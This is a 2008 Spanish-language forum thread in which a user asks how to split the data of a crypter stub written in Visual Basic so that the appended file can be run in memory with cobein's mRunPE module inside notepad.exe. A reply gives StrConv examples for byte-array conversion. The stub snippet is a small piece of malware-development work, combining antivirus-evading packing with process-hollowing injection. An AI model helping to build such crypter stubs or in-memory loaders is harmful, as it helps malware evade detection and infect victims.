Hola. Estoy utilizando el módulo de cobein mRunPE para ejecutar un archivo en memoria. Lo que hago es abrir el archivo y obtener los datos, que los guardo en una variable Byte. El problemas es que necesito hacer un split de los datos, ya que es el stub de un crypter, por lo que no soy capaz de hacerlo, y que luego pueda utilizar la función RunPE con el valor que yo desee del split. ¿Alguien me puede ayudar?
Gracias de antemano.
Creo que podrias usar esta funcion:
CitarStrConv()
Si necesitas un ejemplo de uso pidelo ;)
Saludos ;D
¿Podrías ponerme un ejemplo, Karcrack?
Muchas gracias.
EDITO: Utilizo esto actualmente en el stub.
Sub Main()
Dim b_Datos As Byte
Dim v_Datos As Variant
Open Ruta For Binary As #1
Get #1, EOF(1), b_Datos
Close #1
'Ahora necesito hacer el split para separar el archivo original del stub.
v_Datos = Split(b_Datos, "|-|-|")
'Pero me da error.
RunPE v_Datos(1), "notepad.exe"
End Sub
Cita de: aaronduran2 en 17 Octubre 2008, 23:01 PM
¿Podrías ponerme un ejemplo, Karcrack?
Muchas gracias.
Por supuesto :D:
Dim sCadena As String
Dim bArray() As Byte
Dim bArray2() As Byte
sCadena = "Ejemplo de uso de StrConv Por Karcrack"
'Pasamos la Array a Cadena
'sCadena = StrConv(bArray, vbUnicode)
'Modificamos la cadena
sCadena = UCase$(sCadena)
'Pasamos la Cadena a Array
bArray2 = StrConv(sCadena, vbFromUnicode)
Dim sCadena As String
Dim bArray() As Byte
Dim bArray2() As Byte
Open "C:\Texto.txt" For Binary As #1
ReDim bArray(0 To LOF(1) - 1)
Get #1, , bArray
Close #1
'Pasamos la Array a Cadena
sCadena = StrConv(bArray, vbUnicode)
'Modificamos la cadena
sCadena = Left$(sCadena, 5)
'Pasamos la Cadena a Array
bArray2 = StrConv(sCadena, vbFromUnicode)Si no lo entiendes ya sabes ;)
Saludos :D
Ya está, gracias por los ejemplos, Karcrack.
Saludos.